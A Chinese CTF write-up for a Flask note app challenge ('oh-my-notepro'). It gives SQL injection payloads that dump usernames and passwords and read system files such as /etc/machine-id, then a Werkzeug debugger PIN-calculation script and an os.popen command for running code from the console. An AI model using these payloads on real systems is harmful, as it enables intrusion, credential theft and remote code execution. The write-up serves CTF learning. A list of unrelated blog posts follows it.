知识点:求pin码

登录页面后测试可以发现在note_id处可以sql注入。

%27union%20select%201,2,3,version(),(select%20group_concat(username,0x3a,password)%20from%20users);%23

可以得到用户名和密码,但用处不大。

pin码

可以用pin码登录控制台来

3.8的pin码计算脚本如下,需要以下信息:

  1. username,用户名,可以读取/etc/passwd得到
  2. modname,默认值为flask.app
  3. appname,默认值为Flask
  4. moddir,flask库下app.py的绝对路径(报错得到)
  5. uuidnode,当前网络的mac地址的十进制数,通过文件/sys/class/net/eth0/address得到16进制结果,转化为10进制进行计算
  6. machine_id,docker机器id,读取/etc/machine-id ,/proc/sys/kernel/random/boot_id ,/proc/self/cgroup,前两个任选一个与最后一个拼接

app.py 路径

可以再报错处看

读mac

';create table bbb(name varchar(1000));load data local infile "/sys/class/net/eth0/address" into table ctf.bbb;%23'union select 1,2,3,4,(select group_concat(name) from ctf.bbb);%23

再转成16进制

#02:42:ac:12:00:03
print(int('0242ac120003',16))
#2485377957891

读/etc/machine-id

';create table machine(name varchar(1000));load data local infile "/etc/machine-id" into table ctf.machine;%23'union select 1,2,3,4,(select GROUP_CONCAT(name) from ctf.machine)%23

读/proc/self/cgroup

';create table cc(name varchar(1000));load data local infile "/proc/self/cgroup" into table ctf.cc;%23'union select 1,2,3,4,(select group_concat(name) from ctf.cc);%23

计算pin

#sha1
import hashlib
from itertools import chain
probably_public_bits = ['ctf'# /etc/passwd'flask.app',# 默认值'Flask',# 默认值'/usr/local/lib/python3.8/site-packages/flask/app.py' # 报错得到
]private_bits = ['2485377957891',#  /sys/class/net/eth0/address 16进制转10进制#machine_id由三个合并(docker就后两个):1./etc/machine-id 2./proc/sys/kernel/random/boot_id 3./proc/self/cgroup'1cc402dd0e11d5ae18db04a6de87223d9cfbff4dca5ae8bd5f82dad5b7b30f43bc41fcde7cf41bdfa213e96595e05ff7'#  /proc/self/cgroup
]h = hashlib.sha1()
for bit in chain(probably_public_bits, private_bits):if not bit:continueif isinstance(bit, str):bit = bit.encode('utf-8')h.update(bit)
h.update(b'cookiesalt')cookie_name = '__wzd' + h.hexdigest()[:20]num = None
if num is None:h.update(b'pinsalt')num = ('%09d' % int(h.hexdigest(), 16))[:9]rv =None
if rv is None:for group_size in 5, 4, 3:if len(num) % group_size == 0:rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')for x in range(0, len(num), group_size))breakelse:rv = numprint(rv)

拿flag

获得pin码后,到控制台执行命令

__import__("os").popen("cmd").read()

参考

1

2

oh-my-notepro相关推荐

  1. 小米平板2第三方rom_【2020年1月10日更新】小米手机全系列设备代号一览

    手机设备代号虽然在一般情况下用处不大,不过真正到你需要它的时候,又苦于不知道它是什么.比如在你逛XDA社区的机型板块中,或者找各种类原生的ROM,第三方REC的时候,一般的网站上面直接给出的设备代号, ...

  2. 给红米Note 4X编译LineageOS 14.1刷机包过程【详细】

    最近忙着找工作,今天就把以前的一篇文章放上来,防止自己搞忘,也帮助他人少走冤枉路.小米的MIUI确实做得很不错,但是可能你不会知道,它背后收集了大量你的系统数据和用户使用数据,现在是一个强调网络安全, ...

  3. 小米高通系列清串号打开写号端口工具_小米qcn基带修复文件解决串号丢失和无信号附QCN写入工具及方法...

    小米qcn基带文件解决串号丢失和无信号附QCN写入工具及方法 红米Redmi 4X(santoni) 小米notePro(leo) 小米Note2(scorpio_2015213) 小米Note2(s ...

  4. 小米8 twrp recovery_twrp官网手机代号合集-彻底了解小米手机代号名称

    我们经常可以看到TWRP官网上有很多小米设备的TWRP,每个twrp的命令都是手机代号: 很多小白不懂自己的手机代号是什么,很是头疼,自然也就不清楚下载什么版本的twrp了 ROM乐园小编为大家整理一 ...

  5. 数据分析入门之python数据处理

    文章目录 1.缺失值处理 1.1.缺失值的产生 1.2.缺失值的处理方式 2.空格数据处理 2.1.空格数据实列 2.2.导入数据实列 2.3.清除左右空格方法 3.数据字段抽取 3.1.导入数据 3 ...

  6. Android 系统编译之内核编译

    本来想超频自己的手机的,于是发现需要编译内核才能实现 作为Android开发者的我 没有任何内核编译经验,只是想试一下, 于是折腾了两天终于把内核成功编译出来了 现在分享下学习经验 我的是小米手机,其 ...

  7. 小米linux内核(Xiaomi_Kernel_OpenSource)编译指南

    一.下载对应 设备版本的 Xiaomi Kernel https://github.com/MiCode/Xiaomi_Kernel_OpenSource/ 二.独立编译内核 主机:ubuntu 18 ...

最新文章

  1. Tensorflow-gpu1.13.1 和 Tensorflow-gpu2.0.0共存之安装教程
  2. 把时间投资在自己的未来
  3. 设计模式(10)-----模板方法模式
  4. 中科院研究员:教给孩子的数学浅得让人想哭
  5. innodb 共享表空间 转 独立表空间 详细说明
  6. 关于cmp函数参数中的符号(转)
  7. 云南满泽生物科技有限公司 满泽玛卡玛咖精片 东革阿里 奶昔
  8. ionic cordova 热更新
  9. MATLAB图像分割系统GUI设计
  10. C语言-流程控制-输出华氏-摄氏温度转换表
  11. 如何修改Recovery的字符串资源
  12. python实现明星专家系统:人脸识别自动比对
  13. activiti使用mysql,启动报错。
  14. lol8月21号服务器维护,8月21日英雄联盟更新维护到几点 lol8.21更新维护公告
  15. 毕业论文知网查重之应对办法
  16. 墙裂推荐ShapeView二
  17. 一文讲解Typescript中工具类型
  18. “汉语编程”是解决安全问题的终极之路?
  19. Windows 10 下安装pycrypto时出错的解决问题
  20. mysql 正则表达式区间,MySQL——使用正则表达式查询

热门文章

  1. OpenCT—北京师范大学教育学博士罗海风创建大型教育类网络社区
  2. DMA技术和及其SG模式
  3. 简易重装win10系统
  4. 基于STC15W4K32单片机仿真《定时器0实现LED闪烁》
  5. 【spss】列联表crosstabs
  6. Linux下wordpress安装教程(全)
  7. (毕业设计资料)基于51单片机太阳能风能路灯电路系统设计
  8. 几何图形识别 python_OpenCV中几何形状识别与测量
  9. [DIP]客观保真度准则与主观保真度准则
  10. java基于ssm的水产品配送管理系统